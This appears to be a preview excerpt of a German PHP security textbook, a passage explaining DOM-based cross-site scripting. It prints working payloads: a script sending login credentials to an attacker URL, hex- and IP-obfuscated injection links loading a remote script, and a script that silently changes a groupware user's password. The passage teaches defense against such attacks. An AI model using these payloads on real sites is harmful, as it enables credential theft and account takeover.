O'Reilly logo

PHP-Sicherheit: PHP/MySQL-Webanwendungen sicher programmieren by Stefan Esser, Christopher Kunz

Stay ahead with the world's most comprehensive technology and business learning platform.

With Safari, you learn the way you learn best. Get unlimited access to videos, live online training, learning paths, books, tutorials, and more.

Start Free Trial

No credit card required

4 Cross-Site Scripting104
Zwischenablage gerät, nichts mitbekommen – und so unter Umstän-
den sehr sensible Daten wie Passwörter unfreiwillig mit anderen teilen.
Auch der Internet Explorer 7 unterstützt dieses Feature, fragt
jedoch den Benutzer, ob er den Zugriff auf die Zwischenablage wirk-
lich erlauben will. Aktuelle wie ältere Versionen von Firefox erlauben
nie einen Zugriff auf die Zwischenablage per JavaScript.
4.14 XSS-Angriffe über DOM
Mit dem »Document Object Model« hat das World Wide Web Con-
sortium (W3C) eine einheitliche Schnittstelle für die Interaktion zwi-
schen Skriptsprachen wie JavaScript und ActionScript und dem Inhalt
von Webseiten spezifiziert
10
. Mit dieser Schnittstelle kann ein Weben-
twickler beliebige Veränderungen an Elementen eines HTML-Doku-
ments vornehmen, indem er in einer Baumstruktur das Element direkt
anspricht.
Ist ein PHP-Skript für XSS-Angriffe anfällig, können vom Angrei-
fer auch sämtliche Manipulationen am DOM-Baum des Dokuments
ausgeführt werden. Diese Möglichkeit ist verlockend, da so praktisch
alles möglich ist, was das Crackerherz begehrt. Von temporären
Defacements per XSS über dynamisch veränderte Links und Formular-
felder bis hin zum vollautomatischen Passwortklau und der Änderung
von Benutzerdaten ist praktisch alles möglich.
Wie bereits in einem der vorigen Abschnitte erwähnt, kann ein
geschickter Angreifer das DOM und die Passwort-Safe-Funktionen
moderner Browser dazu nutzen, einem unkundigen Anwender sein Pass-
wort abzujagen, ohne dass dieser eine Chance hat, das zu verhindern.
Dazu muss er eine XSS-Lücke auf einer beliebigen Login-Seite der Ziel-
anwendung finden, die es erlaubt, beliebigen JavaScript-Code in die
Seite einzufügen. Die Benutzerdaten werden ohne Zutun des Anwenders
ins Formular eingefügt und können per DOM von dort auch wieder
ausgelesen werden – die Variable
document.forms[0].username.value ent-
hält den Benutzernamen und
document.forms[0].password.value wird
auf das Passwort gesetzt. Konstruiert der Angreifer nun eine Funktion,
die diese Daten ausliest und an eine externe URL versendet, kann er
bequem per XSS Benutzerdaten sammeln. Er muss lediglich dafür sor-
gen, dass möglichst viele Benutzer der Zielsite auf einen vorher von ihm
präparierten Link klicken.
Es ist hierbei weder notwendig, dass das oder die Opfer bereits ein-
geloggt sind, damit ein Session-Cookie existiert, noch dass überhaupt
10. http://www.w3.org/DOM/
1054.14 XSS-Angriffe über DOM
Cookies verwendet werden. Die Benutzerdaten werden vor dem Login
abgefangen, Session-Hijacking ist gar nicht mehr notwendig. Ein blo-
ßer Besuch auf der angegriffenen Site reicht, damit der Angreifer seine
Attacke ausführen kann.
Benutzerdaten abfangen
Eine JavaScript-Funktion, die automatisch Benutzername und
Passwort aus der verwundbaren Seite heraus an eine URL auf dem Ser-
ver des Angreifers überträgt, sähe so aus:
<script>
function getpw() {
url = 'http://boese.de/gotpw.php?u=' + document.form.username.value
+ '&p=' + document.form.pw.value;
};
location.href=url;
setTimeout(getpw,2000);
</script>
Passwort-
Umleitungsskript pass.js
Der Timeout (in unserem Beispiel 2 Sekunden) ist notwendig, damit
das JavaScript erst dann ausgeführt wird, wenn das (meist weiter
unten im HTML-Dokument gelegene) Formular vollständig darge-
stellt ist – je nach Größe des Dokumentes muss unter Umständen hier
noch eine Anpassung stattfinden.
Wird das Skript URL-codiert und an die Zielanwendung angepasst
(die in diesem Beispiel einen XSS-verwundbaren Parameter »error«
hat), sieht die resultierende URL etwa so aus:
http://opferanwendung.de/index.php?error=%3Cscript%3Efunction+getp
w%28%29+%7Burl+%3D+%27http%3A%2F%2Fboese.de%2Fgotpw.php%3Fu%3D%27+
%2B+document.form.username.value+%2B+%27%26p%3D%27+%2B+document.fo
rm.pw.value%29%3B%7D%3Blocation.href%3Durl%3BsetTimeout%28getpw%2C
2000%29%3B%3C%2Fscript%3E
Diese URL ist relativ lang und unter Umständen etwas zu auffällig, um
sie in einer Mail oder IRC-Nachricht unterzubringen, daher können
Sie auch das komplette JavaScript in eine kurze Datei stecken und nur
diese referenzieren:
http://opferanwendung.de/index.php?error=%3Cscript+src%3D%27http%3
A%2F%2F62.4.81.207%2Fpass.js%27%3E
Im nächsten Schritt kann der Angreifer noch mit der PHP-Funktion
ip2long() die IP-Adresse, auf die die Nutzerdaten umgeleitet werden
sollen, maskieren, sodass aus »
62.4.81.207« die IP-Adresse »1040470479«
wird. Probieren Sie es einmal aus – die meisten Browser unterstützen
HTTP-Anfragen über Adressen im Long-Format.
Als letzten Schritt codiert der Angreifer den Query-String noch
komplett in hexadezimaler Notation und erhält eine komplette, völlig
unverdächtige URL:
4 Cross-Site Scripting106
http://opferanwendung.de/index.php?error=%3C%73%63%72%69%70%74%20%
73%72%63%3D%27%68%74%74%70%3A%2F%2F%31%30%34%30%34%37%30%34%37%39%
2F%70%61%73%73%2E%6A%73%27%3E
Selbst fachkundige Anwender können den wahren Hintergrund dieser
URL nicht auf den ersten Blick entschlüsseln – wie viel weniger Mög-
lichkeiten, den Angriff abzuwehren, hätten wohl unbedarfte User, die
einfach nur ihren Mailaccount abrufen wollen?
Passwort im
Hintergrund ändern
In einer bekannten Anwendung aus der Nuke-Familie war eine
XSS-Lücke enthalten, die auf allen Seiten, insbesondere den Benutzer-
einstellungen das Einfügen beliebigen Codes ermöglichte. Mit einer
kurzen JavaScript-Funktion ist es bei dieser Groupware möglich, eine
gültige Session auszunutzen, um automatisch per DOM das Passwort-
feld im Nutzerprofil auszufüllen und das Formular abzuschicken.
Diese Funktion sieht im Klartext so aus:
<script>
function meintest() {
document.Register.pass.value = 'foo';
document.Register.vpass.value = document.Register.pass.value;
document.Register.submit();
};
setTimeout(meintest,2000);
</script>
Mit den üblichen Verschleierungsmaßnahmen über eine externe
Skriptquelle und Hex-Codierung kann diese Funktion in der URL wie-
der stark verkürzt werden, sodass Anwender der Groupware-Lösung
womöglich nichts von dem Angriff ahnen, der gerade auf sie abzielt.
Eine nichtssagende URL wie
http://groupware.de/user.php?op=edituser&additional_header[1]=%3C%
73%63%72%69%70%74%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%31%30%34%
30%34%37%30%34%37%39%2F%63%68%61%6E%67%65%70%61%73%73%2E%6A%73%22
reicht aus, um das Passwort eines Benutzers zurückzusetzen.
Gerade in sicherheitsrelevanten Bereichen wie einer Groupware
oder auch Onlinekontenführung kann eine erfolgreiche XSS-Attacke
über DOM dazu beitragen, Verwirrung zu stiften. So kann praktisch
jedes Element in der HTML-Ausgabe verändert werden – auch Über-
schriften, Absätze, Layer oder Tabellenelemente. Existiert auf einer
Seite beispielsweise eine per HTML-Tag
<h1> ausgezeichnete Über-
schrift, so kann ein Angreifer den Inhalt dieser Überschrift mit dem
Funktionsaufruf
document.getElementsByTagName('h1')[0].innerHTML='Das geh&ouml;rt
hier nicht hin!';
austauschen.

With Safari, you learn the way you learn best. Get unlimited access to videos, live online training, learning paths, books, interactive tutorials, and more.

Start Free Trial

No credit card required